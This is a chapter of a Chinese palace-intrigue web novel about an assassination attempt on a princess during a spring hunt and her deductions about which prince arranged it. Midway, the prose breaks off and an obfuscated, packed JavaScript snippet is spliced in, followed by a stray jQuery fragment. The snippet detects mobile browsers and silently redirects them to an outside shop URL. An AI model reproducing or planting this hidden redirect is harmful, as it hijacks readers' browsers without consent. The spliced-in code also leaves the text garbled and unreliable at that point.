初春的树木还未生发太多新叶,月光可以透过缝隙落在林间。
树干上和地上,都洒落着不少血迹。
赵恒的亲卫已折损了几个,剩下的人背靠背,提防着刺客的再次进攻。
他们的战力足够凶悍,刺客的伤亡也不小。
这些刺客心狠手辣,若有同伴受重伤,便会立即给对方一个痛快。倒在地上的敌人,竟无一个活口。
萧元昭终究还是受了些轻伤,靠坐在一棵大树边。赵恒提枪浴血,立在她身旁护卫。
“吁————”一声清亮的哨音在不远处响起,伴随着阵阵马蹄声。
“哥哥!”萧元昭苍白的面上浮起一丝喜色。
无论是刺客,抑或是己方,都已是强弩之末。现下友军来援,无疑增长了不少士气。
萧元昭挣扎着吹响骨哨,给兄长指路。
刺客被逼至鱼死网破之境,不再吝惜任何手段。
就算是勇武如赵恒,也渐渐显得有些力不从心。萧元昭更是需要强撑着浑身酸痛,竭力避开被带到她面前的余势。
趁着赵恒劈枪横挑的破绽,对面的刺客袖底弩箭骤发,直冲着萧元昭心口,眼见着已来不及躲开————
“铮!”一支长箭破空而至,将短箭射落。
紧接着三支长箭,精准地穿透萧元昭正面的三名刺客咽喉。
“阿昭!”萧元翊的声音宛如天籁,让萧元昭紧绷的心神放松下来。
跟在他身后的禁军也是好手,迅速解决掉视线中尚存的刺客,又结阵将刚才经历过一番搏斗的众人护卫在内。
萧元翊扑到萧元昭身前,见她满身是血,喉咙紧得几乎说不出话。
“我没事,撞到树干,没有受外伤。”萧元昭安慰他,声音还带着微微颤抖。“我身上的血都是别人的。”
萧元翊这才松了口气,冲着旁边倚枪调息的赵恒抱拳施礼,感谢他保护了自己的妹妹。
“职责所在,殿下不必多礼。”赵恒沉声道。
在赶过来的路上,禁军侍卫已发出响箭。
不多时,便有大批的禁军赶到,一边戒备着,一边把受伤的同伴和死去的刺客都带回营地。
萧元昭无力独自骑马,便由兄长带着共乘一骑。
两队人都未找到萧元沁。回去的路上,萧元昭心中有些沉重。
刚才见识到了刺客的厉害,春猎随行的人中,武力高强的又都参与了傍晚御帐中的宴会。萧元沁她···会不会遭遇不测?
令萧元昭未曾想到的是,回到御帐后,她第一眼便看到了萧元沁————不仅先一步归来,而且已经换好衣衫,此刻正哭哭啼啼地倚在贤妃身侧。
御座之上,德妃靠在萧崇德的肩头,嘴唇发白。
见一双儿女归来,德妃眼中终于恢复光彩,只是浑身没有力气,无法站起。
帐中其余人都自觉地为他俩让开了一条路,萧元昭忍着身上的疼痛,和萧元翊一起行至德妃近前。
“我的儿!”德妃泪眼中看见萧元昭浑身是血,悲声大作。
“母妃,妹妹无事。”萧元翊扶住她.
待德妃重新坐下之后,才向萧崇德行礼。
“禀告父皇,我带人寻六妹无果,听见妹妹哨声呼救,赶过去的时候,刺客们已与赵小将军交手,被擒杀不少。我射杀了三名刺客,剩下的由禁军收尾。”
赵恒也证实了他的说法,并提到刺客人数有二十余人,或许还有漏网之鱼,今夜仍需警戒。
“给我好好查,这些胆大包天的刺客都是从何而来!”萧崇德怒不可遏。
御前侍卫统领赵放领命,但他没有贸然在夜色中搜寻,而是派兵守住了猎场的各个出口,想要等天亮再来个瓮中捉鳖。
禁军查验过刺客尸首,没发现明显的身份标识,只是这些人的长相与大璟的民众略有差异,倒像是北戎人。
萧崇德没有在猎场多停留,天刚泛白,便乘着车驾匆匆离去。
一同参加春猎的勋贵和臣子也都紧随圣驾,浩浩荡荡地返回玉京。
接替他们的,是从玉京抽调来的禁军部队,足有五百人,负责搜捕剩下的刺客。
赵恒作为亲自与刺客交手之人,自然要留下来善后。而他的叔叔赵放,则是要护卫着萧崇德,先行离去。
“刺客是北戎人。”赵恒没有斟酌词句,直接下了结论。他在交手的时候听得清清楚楚,这些人说得是北戎话。
虽然忠武侯府几代人都镇守京畿,未曾到过朔州,但大璟的勋贵子弟,自小都学习过邻国的语言。
“他们的目标,不一定是陛下。”说到这里,赵恒顿了一下,有些犹豫,但还是决定将真相全盘托出:
“我在跟他们交手的过程中,曾要求赶来的亲卫先保护公主。刺客听到我的话,有些混乱。其中有人喊了一句‘怎么是个公主?’,然后他们的头领便下令不管是谁,先杀了再说。”
站在他对面的赵放,面上虽不动如山,但呼吸却滞住了片刻。
不管是有人蓄谋刺杀皇帝,还是几位皇子间互相倾轧,涉及到北戎,事情就变得复杂了许多。
若只是行刺皇帝,还没那么棘手,顶多是禁军护卫不利,监察不严,让小股的刺客钻了空子。赵放作为御前侍卫首领,降职罚俸,再多花几年爬回来。
但若是有皇子同北戎勾结,他不仅要抗下前面的罪,还可能会被怀疑与皇子勾结,哪怕最终证明了他的清白,也会在皇帝心中记下一笔。
而通敌之人,既然不是苦主三皇子,那剩下的几位,随便哪个名字爆出来,都会在玉京甚至整个大璟掀起滔天巨浪。
“这件事,现在除了我,还有别人知道吗?”赵放沉默了一会儿,才嘶哑着开口。“我记得,五公主好像从未学过北戎话。”
至于忠武侯的亲卫,与他们赵家都是一条绳子上的蚂蚱,完全可以略过不计。
“五公主已经知道了。”赵恒没有说出他想要的回答。
“你怎么告诉她了?”赵放脑海中迅速闪过萧元翊和德妃,脸上带了恨铁不成钢的神色。
赵恒想起昨夜萧元昭连沾了血的衣裳都没来及换下,就来找他询问刺客在打斗中说了什么。
在听到答案后,她脸上的表情并非难以置信,反而有些平静,明显是心中已有猜测,只是在向他求证。
“事已至此,就算是面见圣上,我也会如此回禀。”赵恒没有被叔叔影响,直言道。
赵放盯着他看了一会儿,想要说什么,又无奈放弃。
这个未来会继承忠武侯府的年轻人,和他的父亲一样油盐不进。
他摆了摆手让赵恒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676534|207490||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自行离去,旋即唤来手下心腹,交代其一回玉京,就先联系几位出身世家的皇子探探口风。
萧元昭返程的时候,只能乖乖待在车里,连车帘都不许打开得太大。
德妃安坐她对面,沉着脸让她按照太医的嘱咐,多静养,少受风。
萧元翊骑马跟在车驾旁边,中途还跑去折了柳枝和桃花,让萧元昭编花环打发时间。
“我又不是小孩子。”萧元昭随意编了几个环,便一股脑都扔给青荇,自己仍旧支着脑袋,目光虚落在窗外。
跟萧元沁一起去溪边骑马的人,是崔家的二公子崔瑾。
崔瑾容貌上佳,崔家又是玉京数一数二的世家大族,贤妃定不会拒绝这样一位佳婿,而且萧元沁自己也有这个心思。
少年少女借着踏青之机幽会,本是人之常情,无可指摘。
只是在即将返回玉京,又是天色将晚的时候,两人甩开随从跑到那么远的地方,又提前众人一步返回,不像是巧合。
萧元珪不善武艺,甚至骑术还没有萧元昭强,在听到姐姐失踪之后,闹着亲自去找。
他年纪尚幼不假,但当时帐中,明明赵恒才是最合适的人选,为何第一个出去的人变成了兄长?
刺客或许一开始的目标,就是兄长。
萧元昭昨夜就有此猜测,今日一早找赵恒确认过后,这猜测几乎已得到证实。
不过她还是心存疑惑:这场密谋,看似贤妃出力颇多,但萧元珪还小,太子势大,除掉萧元翊对贤妃而言,并无太多好处。
若要从获利之人分析,太子的嫌疑最大,只是明面上他并未涉及其中,毫无证据。
帐中当时除了太子之外,还有淑妃所出的二皇子萧元琏。但就算没了萧元翊,他不论从出身还是势力都不如太子,完全不必走此险棋。
更何况,昨夜最后赶来援护的禁军之数远超刺客,却连一个活口都没有留下。
能把手伸到这里的皇子,仅太子一人而已。
胸中有了定论,萧元昭这才回过神,应付了德妃和兄长几句。
只是她面上的忧色难以掩盖,萧元翊不免担心。
皇帝的车驾一骑绝尘,赶着返回玉京的一众臣子也都卯足了马力,官道上飞驰而过的车驾一辆接一辆。
德妃怕路上颠簸,不利于萧元昭休息,主动放慢了车速,他们这队人马便落到了整个队伍的最后。
萧元昭见周围已没了值得警惕之人,靠在窗边,用绢扇半掩着,小声与兄长讨论着昨晚两人各自的行动。
她和赵恒走的岔路通往小溪上游,萧元翊走了向下游的小道,两条路尽头的距离约有一里。
萧元翊从下游溯溪而上推进了半里,萧元昭则是和赵恒沿溪行往下走了百余步。
直至萧元昭遇险,萧元翊赶到,两队人马都未发现失踪之人的踪迹。返程的时候,他们自然而然地选了最近的上游小道。
树林茂密,又在夜晚,若不走这两条小道,极易迷失方向。
萧元沁和崔瑾没有骑马,却赶在他们之前回到了营地。
“他们走了下游的那条小路。”萧元昭汇总了所有的信息,说道。
萧元翊阴沉着脸极力回忆着昨夜的经历,最终确认:“这两人应该是特意避开了我们。这场刺杀,定与他俩脱不了关系!”